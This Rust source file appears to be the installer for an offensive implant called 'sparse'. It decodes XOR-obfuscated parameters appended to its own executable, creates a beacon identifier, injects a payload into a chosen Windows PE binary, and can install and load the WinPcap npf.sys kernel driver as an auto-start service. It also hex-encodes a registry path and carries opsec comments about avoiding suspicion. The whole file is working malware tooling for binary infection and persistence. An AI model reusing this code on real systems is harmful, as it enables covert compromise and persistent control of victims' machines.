use std::{
    fs::OpenOptions,
    io::{Error, SeekFrom, prelude::*},
    path::PathBuf,
};

use rand::{TryRngCore, rngs::OsRng};
use structopt::StructOpt;

use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_windows_infector::infect_pe_binary;

pub const WPCAP_DLL: &'static [u8] = include_bytes!(concat!(
    std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"),
    "/wpcap.dll"
));
pub const PACKET_DLL: &'static [u8] = include_bytes!(concat!(
    std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"),
    "/Packet.dll"
));
pub const NPF_SYS: &'static [u8] = include_bytes!(concat!(
    std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"),
    "/npf.sys"
));

#[derive(StructOpt, Debug)]
#[structopt(name = "sparse-installer")]
struct Options {
    /// Path to binary to infect
    #[structopt(short, long)]
    binary: PathBuf,

    /// Path for where to store the library that sparse uses;
    /// must be somewhere in the library search path (e.g., /lib/x86_64-linux-gnu)
    #[structopt(short, long)]
    library_path: PathBuf,

    /// How long to randomly wait (minimum) after being loaded before causing tomfoolery
    #[structopt(long, default_value = "0")]
    delay_seconds_minimum: u8,

    /// How long to randomly wait (maximum) after being loaded before causing tomfoolery
    #[structopt(long, default_value = "0")]
    delay_seconds_maximum: u8,

    /// Automatically install WinPcap. Does not automatically load the driver
    #[structopt(long)]
    install_winpcap: bool,

    /// Automatically load WinPcap after installing it (opsec: LoadDriver is suspicious)
    #[structopt(long)]
    load_winpcap: bool,
}

fn main() -> Result<(), Error> {
    let opts = Options::from_args();

    if opts.delay_seconds_minimum > opts.delay_seconds_maximum {
        eprintln!("Delay seconds minimum should be larger than delay seconds maximum!");
        panic!();
    }

    let mut installer_file = OpenOptions::new()
        .read(true)
        .open(std::env::current_exe()?)?;

    let parameters_size = std::mem::size_of::<Parameters>() as i64;

    installer_file.seek(SeekFrom::End(-parameters_size))?;

    let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
    installer_file.read_to_end(&mut parameters_buffer)?;

    for b in parameters_buffer.iter_mut() {
        *b = *b ^ (XOR_KEY as u8);
    }

    let parameters: &mut Parameters =
        unsafe { std::mem::transmute(parameters_buffer.as_mut_ptr()) };

    let mut identifier = [0u8; 32];
    OsRng
        .try_fill_bytes(&mut identifier)
        .expect("Could not generate beacon identifier");

    let hex_ident = hex::encode(&identifier);
    parameters
        .beacon_identifier
        .copy_from_slice(&hex_ident.as_bytes());

    parameters.delay_seconds_min = opts.delay_seconds_minimum;
    parameters.delay_seconds_max = opts.delay_seconds_maximum;

    infect_pe_binary(opts.binary, opts.library_path, parameters_buffer)?;

    if opts.install_winpcap {
        #[cfg(target_os = "windows")]
        install_winpcap(opts.load_winpcap)?;
    }

    Ok(())
}

#[cfg(target_os = "windows")]
fn install_winpcap(load_winpcap: bool) -> Result<(), Error> {
    use winreg::{RegKey, RegValue, enums::*};

    std::fs::write(r"C:\Windows\System32\wpcap.dll", WPCAP_DLL)?;
    std::fs::write(r"C:\Windows\System32\Packet.dll", PACKET_DLL)?;
    std::fs::write(r"C:\Windows\System32\drivers\npf.sys", NPF_SYS)?;

    let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
    let services = hklm.open_subkey(r"SYSTEM\CurrentControlSet\Services")?;

    let (srv_npf, _) = services.create_subkey("NPF")?;

    srv_npf.set_value("DisplayName", &"NetGroup Packet Filter Driver")?;
    srv_npf.set_value("ErrorControl", &0x1u32)?;
    srv_npf.set_raw_value(
        "ImagePath",
        &RegValue {
            vtype: REG_EXPAND_SZ,
            bytes: vec![
                0x43, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00,
                0x6f, 0x00, 0x77, 0x00, 0x73, 0x00, 0x5c, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00,
                0x74, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5c, 0x00, 0x64, 0x00,
                0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x5c, 0x00,
                0x6e, 0x00, 0x70, 0x00, 0x66, 0x00, 0x2e, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00,
                0x00, 0x00,
            ],
        },
    )?;
    srv_npf.set_value("Start", &0x2u32)?;
    srv_npf.set_value("TimestampMode", &0x0u32)?;
    srv_npf.set_value("Type", &0x1u32)?;
    srv_npf.set_value("WOW64", &0x1u32)?;

    if load_winpcap {
        unsafe {
            use windows::Win32::System::Services::{
                CreateServiceW, OpenSCManagerW, OpenServiceW, SC_MANAGER_ALL_ACCESS,
                SERVICE_ALL_ACCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
                SERVICE_KERNEL_DRIVER, SERVICE_START, StartServiceW,
            };
            use windows_strings::*;

            let h_scmanager =
                OpenSCManagerW(PCWSTR::null(), PCWSTR::null(), SC_MANAGER_ALL_ACCESS)?;

            if h_scmanager.0.is_null() {
                eprintln!(
                    "Could not open connection to service manager: {}",
                    errno::errno()
                );
                panic!();
            }

            let npfsrvc = OpenServiceW(h_scmanager, w!("NPF"), SERVICE_START);

            if let Ok(srvc) = npfsrvc {
                println!("Service already installed, starting");
                println!(
                    "(If it fails because it's already running, that's fine, everything has worked)"
                );
                StartServiceW(srvc, None)?;
                return Ok(());
            }

            let npfsrvc = CreateServiceW(
                h_scmanager,
                w!("NPF"),
                w!("NetGroup Packet Filter Driver"),
                SERVICE_ALL_ACCESS,
                SERVICE_KERNEL_DRIVER,
                SERVICE_AUTO_START,
                SERVICE_ERROR_NORMAL,
                w!(r"C:\Windows\System32\drivers\npf.sys"),
                PCWSTR::null(),
                None,
                PCWSTR::null(),
                PCWSTR::null(),
                PCWSTR::null(),
            )?;

            StartServiceW(npfsrvc, None)?;
        }
    }

    Ok(())
}